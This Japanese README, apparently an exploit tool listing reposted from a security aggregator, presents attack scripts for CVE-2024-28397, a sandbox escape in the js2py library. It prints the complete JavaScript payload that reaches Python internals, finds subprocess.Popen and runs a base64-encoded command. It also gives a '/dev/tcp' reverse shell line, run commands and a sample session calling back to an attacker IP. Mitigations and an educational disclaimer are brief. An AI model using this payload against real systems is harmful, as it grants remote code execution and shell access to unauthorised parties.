## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XDTC-JS2PY-SANDBOX-ESCAPE-CVE-2024-28397-RCE
# CVE-2024-28397 js2py サンドボックスエスケープエクスプロイト
js2py サンドボックスエスケープ脆弱性 (CVE-2024-28397) を標的としたエクスプロイトスクリプトのコレクションです。この脆弱性により、Python オブジェクトのイントロスペクションを通じて任意のコードが実行される可能性があります。
## 🔍 脆弱性の概要
js2py ライブラリには、JavaScript の `Object.getOwnPropertyNames()` メソッドを通じて内部 Python オブジェクトにアクセスすることで、攻撃者が任意の Python コードを実行できる重大なサンドボックスエスケープ脆弱性が含まれています。
### 技術的詳細
* **CVE ID** : CVE-2024-28397
* **影響を受けるライブラリ** : js2py (JavaScript to Python トランスレータ)
* **攻撃ベクトル** : Python オブジェクトイントロスペクションによるサンドボックスエスケープ
* **影響** : リモートコード実行 (RCE)
## 📋 参考分析
このエクスプロイトは Marven11 による包括的な分析に基づいています:
* **分析文書** : CVE-2024-28397 js2py サンドボックスエスケープ分析
## 🛠️ エクスプロイトスクリプト
このリポジトリには3つの異なる実装が含まれています:
### 1\. Bash スクリプト (`exploit.sh`)
curl と jq を使用した軽量な bash 実装。
### 2\. Go スクリプト (`exploit.go`)
組み込み HTTP クライアントを備えたクロスプラットフォーム Go 実装。
## 🚀 クイックスタート
### 前提条件
* **Bash スクリプトの場合** : `curl`, `jq`, `base64`
* **Go スクリプトの場合** : Go 1.16+
### 使用方法
すべてのスクリプトはインタラクティブで、必要な情報を入力するよう促します:
root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
### インタラクティブプロンプト
各スクリプトは次の項目を尋ねます:
1. **ターゲットURL** : 脆弱な js2py コードを実行しているエンドポイント
2. **あなたのIP** : リバースシェル用のあなたのマシンのIPアドレス
3. **あなたのポート** : リバースシェル接続用のポート番号
### セッション例
root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
## 🎯 動作の仕組み
### 1\. ペイロード生成
エクスプロイトは動的にリバースシェルコマンドを作成します:
root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
### 2\. Base64 エンコーディング
シェルコマンドは安全な送信のために base64 エンコードされます:
root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
### 3\. JavaScript サンドボックスエスケープ
コアとなるエクスプロイトは JavaScript を使用して Python の内部オブジェクトにアクセスします:
root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
### 4\. 実行フロー
1. `Object.getOwnPropertyNames({})` を通じて Python のオブジェクトシステムにアクセス
2. `__class__.__base__.__getattribute__` を経由して基底クラスに移動
3. サブクラスから `subprocess.Popen` を検索
4. `Popen` を通じて任意のシステムコマンドを実行
## 🛡️ 緩和策
* js2py をパッチが適用されたバージョンに更新する
* 適切な入力検証とサニタイゼーションを実装する
* 安全なサンドボックス化の代替手段を使用する
* 多層防御のセキュリティ対策を適用する
## 📚 教育的な目的
これらのスクリプトは教育および許可されたテスト目的でのみ提供されます。システムに対してテストを行う前に、適切な許可を得ていることを常に確認してください。
## 🔗 参考文献
* CVE-2024-28397 公式エントリ
* Marven11 の詳細分析
* js2py GitHub リポジトリ
## ⚖️ 免責事項
このソフトウェアは教育および許可されたセキュリティテスト目的でのみ提供されます。ユーザーは適用される法律を遵守し、使用前に適切な許可を得る責任があります。